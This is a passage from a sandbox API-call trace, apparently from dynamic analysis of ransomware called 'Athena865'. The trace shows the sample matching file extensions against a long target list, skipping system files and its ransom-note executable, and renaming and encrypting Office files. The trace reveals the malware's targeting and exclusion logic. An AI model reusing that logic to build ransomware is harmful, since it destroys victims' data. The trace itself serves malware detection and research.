(lpString="kexis") returned 5 [0084.769] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0084.769] lstrlenW (lpString="lgc") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.769] lstrlenW (lpString="lwx") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.769] lstrlenW (lpString="maf") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.769] lstrlenW (lpString="maq") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.769] lstrlenW (lpString="mar") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.769] lstrlenW (lpString="marshal") returned 7 [0084.769] lstrcmpiW (lpString1="AML.DLL", lpString2="marshal") returned -1 [0084.769] lstrlenW (lpString="mas") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.769] lstrlenW (lpString="mav") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.769] lstrlenW (lpString="maw") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.769] lstrlenW (lpString="mdbhtml") returned 7 [0084.769] lstrcmpiW (lpString1="AML.DLL", lpString2="mdbhtml") returned -1 [0084.769] lstrlenW (lpString="mdn") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.769] lstrlenW (lpString="mdt") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.769] lstrlenW (lpString="mfd") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.769] lstrlenW (lpString="mpd") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.769] lstrlenW (lpString="mrg") returned 3 [0084.769] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.770] lstrlenW (lpString="mud") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.770] lstrlenW (lpString="mwb") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.770] lstrlenW (lpString="myd") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.770] lstrlenW (lpString="ndf") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.770] lstrlenW (lpString="nnt") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.770] lstrlenW (lpString="nrmlib") returned 6 [0084.770] lstrcmpiW (lpString1="ML.DLL", lpString2="nrmlib") returned -1 [0084.770] lstrlenW (lpString="ns2") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.770] lstrlenW (lpString="ns3") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.770] lstrlenW (lpString="ns4") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.770] lstrlenW (lpString="nsf") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.770] lstrlenW (lpString="nv") returned 2 [0084.770] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.770] lstrlenW (lpString="nv2") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.770] lstrlenW (lpString="nwdb") returned 4 [0084.770] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.770] lstrlenW (lpString="nyf") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.770] lstrlenW (lpString="odb") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.770] lstrlenW (lpString="odb") returned 3 [0084.770] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.771] lstrlenW (lpString="oqy") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.771] lstrlenW (lpString="ora") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.771] lstrlenW (lpString="orx") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.771] lstrlenW (lpString="owc") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.771] lstrlenW (lpString="p96") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.771] lstrlenW (lpString="p97") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.771] lstrlenW (lpString="pan") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.771] lstrlenW (lpString="pdb") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.771] lstrlenW (lpString="pdm") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.771] lstrlenW (lpString="pnz") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.771] lstrlenW (lpString="qry") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.771] lstrlenW (lpString="qvd") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.771] lstrlenW (lpString="rbf") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.771] lstrlenW (lpString="rctd") returned 4 [0084.771] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.771] lstrlenW (lpString="rod") returned 3 [0084.771] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.771] lstrlenW (lpString="rodx") returned 4 [0084.772] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.772] lstrlenW (lpString="rpd") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.772] lstrlenW (lpString="rsd") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.772] lstrlenW (lpString="sas7bdat") returned 8 [0084.772] lstrcmpiW (lpString1="XAML.DLL", lpString2="sas7bdat") returned 1 [0084.772] lstrlenW (lpString="sbf") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.772] lstrlenW (lpString="scx") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.772] lstrlenW (lpString="sdb") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.772] lstrlenW (lpString="sdc") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.772] lstrlenW (lpString="sdf") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.772] lstrlenW (lpString="sis") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.772] lstrlenW (lpString="spq") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.772] lstrlenW (lpString="te") returned 2 [0084.772] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.772] lstrlenW (lpString="teacher") returned 7 [0084.772] lstrcmpiW (lpString1="AML.DLL", lpString2="teacher") returned -1 [0084.772] lstrlenW (lpString="tmd") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.772] lstrlenW (lpString="tps") returned 3 [0084.772] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.772] lstrlenW (lpString="trc") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.773] lstrlenW (lpString="trc") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.773] lstrlenW (lpString="trm") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.773] lstrlenW (lpString="udb") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.773] lstrlenW (lpString="udl") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.773] lstrlenW (lpString="usr") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.773] lstrlenW (lpString="v12") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.773] lstrlenW (lpString="vis") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.773] lstrlenW (lpString="vpd") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.773] lstrlenW (lpString="vvv") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.773] lstrlenW (lpString="wdb") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.773] lstrlenW (lpString="wmdb") returned 4 [0084.773] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.773] lstrlenW (lpString="wrk") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.773] lstrlenW (lpString="xdb") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.773] lstrlenW (lpString="xld") returned 3 [0084.773] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.773] lstrlenW (lpString="xmlff") returned 5 [0084.773] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0084.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL.Athena865") returned 66 [0084.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll.athena865"), dwFlags=0x1) returned 1 [0084.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.775] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=168840) returned 1 [0084.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.776] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.776] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.776] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29690, lpName=0x0) returned 0x17c [0084.778] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29690) returned 0x170000 [0084.786] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.787] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.787] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.788] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.789] CloseHandle (hObject=0x17c) returned 1 [0084.789] CloseHandle (hObject=0x154) returned 1 [0084.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xb7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SCANPST.EXE", cAlternateFileName="")) returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2=".") returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="..") returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="windows") returned -1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="bootmgr") returned 1 [0084.790] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="temp") returned -1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="pagefile.sys") returned 1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="boot") returned 1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="ids.txt") returned 1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="ntuser.dat") returned 1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="perflogs") returned 1 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2="MSBuild") returned 1 [0084.791] lstrlenW (lpString="SCANPST.EXE") returned 11 [0084.791] lstrcpyW (in: lpString1=0x241e89e, lpString2="SCANPST.EXE" | out: lpString1="SCANPST.EXE") returned="SCANPST.EXE" [0084.791] lstrlenW (lpString="SCANPST.EXE") returned 11 [0084.791] lstrlenW (lpString="Athena865") returned 9 [0084.791] lstrcmpiW (lpString1="ANPST.EXE", lpString2="Athena865") returned -1 [0084.791] lstrlenW (lpString=".dll") returned 4 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2=".dll") returned 1 [0084.791] lstrlenW (lpString=".lnk") returned 4 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2=".lnk") returned 1 [0084.791] lstrlenW (lpString=".ini") returned 4 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2=".ini") returned 1 [0084.791] lstrlenW (lpString=".sys") returned 4 [0084.791] lstrcmpiW (lpString1="SCANPST.EXE", lpString2=".sys") returned 1 [0084.791] lstrlenW (lpString="SCANPST.EXE") returned 11 [0084.791] lstrlenW (lpString="bak") returned 3 [0084.791] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0084.791] lstrlenW (lpString="ba_") returned 3 [0084.791] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0084.791] lstrlenW (lpString="dbb") returned 3 [0084.791] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0084.791] lstrlenW (lpString="vmdk") returned 4 [0084.791] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0084.791] lstrlenW (lpString="rar") returned 3 [0084.791] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0084.791] lstrlenW (lpString="zip") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0084.792] lstrlenW (lpString="tgz") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0084.792] lstrlenW (lpString="vbox") returned 4 [0084.792] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0084.792] lstrlenW (lpString="vdi") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0084.792] lstrlenW (lpString="vhd") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0084.792] lstrlenW (lpString="vhdx") returned 4 [0084.792] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0084.792] lstrlenW (lpString="avhd") returned 4 [0084.792] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0084.792] lstrlenW (lpString="db") returned 2 [0084.792] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0084.792] lstrlenW (lpString="db2") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0084.792] lstrlenW (lpString="db3") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0084.792] lstrlenW (lpString="dbf") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0084.792] lstrlenW (lpString="mdf") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0084.792] lstrlenW (lpString="mdb") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0084.792] lstrlenW (lpString="sql") returned 3 [0084.792] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0084.792] lstrlenW (lpString="sqlite") returned 6 [0084.792] lstrcmpiW (lpString1="ST.EXE", lpString2="sqlite") returned 1 [0084.792] lstrlenW (lpString="sqlite3") returned 7 [0084.792] lstrcmpiW (lpString1="PST.EXE", lpString2="sqlite3") returned -1 [0084.792] lstrlenW (lpString="sqlitedb") returned 8 [0084.793] lstrcmpiW (lpString1="NPST.EXE", lpString2="sqlitedb") returned -1 [0084.793] lstrlenW (lpString="xml") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0084.793] lstrlenW (lpString="$er") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0084.793] lstrlenW (lpString="4dd") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0084.793] lstrlenW (lpString="4dl") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0084.793] lstrlenW (lpString="^^^") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0084.793] lstrlenW (lpString="abs") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0084.793] lstrlenW (lpString="abx") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0084.793] lstrlenW (lpString="accdb") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accdb") returned 1 [0084.793] lstrlenW (lpString="accdc") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accdc") returned 1 [0084.793] lstrlenW (lpString="accde") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accde") returned 1 [0084.793] lstrlenW (lpString="accdr") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accdr") returned 1 [0084.793] lstrlenW (lpString="accdt") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accdt") returned 1 [0084.793] lstrlenW (lpString="accdw") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accdw") returned 1 [0084.793] lstrlenW (lpString="accft") returned 5 [0084.793] lstrcmpiW (lpString1="T.EXE", lpString2="accft") returned 1 [0084.793] lstrlenW (lpString="adb") returned 3 [0084.793] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0084.794] lstrlenW (lpString="adb") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0084.794] lstrlenW (lpString="ade") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0084.794] lstrlenW (lpString="adf") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0084.794] lstrlenW (lpString="adn") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0084.794] lstrlenW (lpString="adp") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0084.794] lstrlenW (lpString="alf") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0084.794] lstrlenW (lpString="ask") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0084.794] lstrlenW (lpString="btr") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0084.794] lstrlenW (lpString="cat") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0084.794] lstrlenW (lpString="cdb") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0084.794] lstrlenW (lpString="ckp") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0084.794] lstrlenW (lpString="cma") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0084.794] lstrlenW (lpString="cpd") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0084.794] lstrlenW (lpString="dacpac") returned 6 [0084.794] lstrcmpiW (lpString1="ST.EXE", lpString2="dacpac") returned 1 [0084.794] lstrlenW (lpString="dad") returned 3 [0084.794] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0084.794] lstrlenW (lpString="dadiagrams") returned 10 [0084.794] lstrcmpiW (lpString1="CANPST.EXE", lpString2="dadiagrams") returned -1 [0084.795] lstrlenW (lpString="daschema") returned 8 [0084.795] lstrcmpiW (lpString1="NPST.EXE", lpString2="daschema") returned 1 [0084.795] lstrlenW (lpString="db-journal") returned 10 [0084.795] lstrcmpiW (lpString1="CANPST.EXE", lpString2="db-journal") returned -1 [0084.795] lstrlenW (lpString="db-shm") returned 6 [0084.795] lstrcmpiW (lpString1="ST.EXE", lpString2="db-shm") returned 1 [0084.795] lstrlenW (lpString="db-wal") returned 6 [0084.795] lstrcmpiW (lpString1="ST.EXE", lpString2="db-wal") returned 1 [0084.795] lstrlenW (lpString="dbc") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0084.795] lstrlenW (lpString="dbs") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0084.795] lstrlenW (lpString="dbt") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0084.795] lstrlenW (lpString="dbv") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0084.795] lstrlenW (lpString="dbx") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0084.795] lstrlenW (lpString="dcb") returned 3 [0084.795] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0084.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE.Athena865") returned 64 [0084.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe.athena865"), dwFlags=0x1) returned 1 [0084.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.797] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47008) returned 1 [0084.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.798] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.799] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.799] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.799] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbaa0, lpName=0x0) returned 0x17c [0084.800] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbaa0) returned 0x100000 [0084.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.804] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.804] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.804] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.805] CloseHandle (hObject=0x17c) returned 1 [0084.805] CloseHandle (hObject=0x154) returned 1 [0084.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.805] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 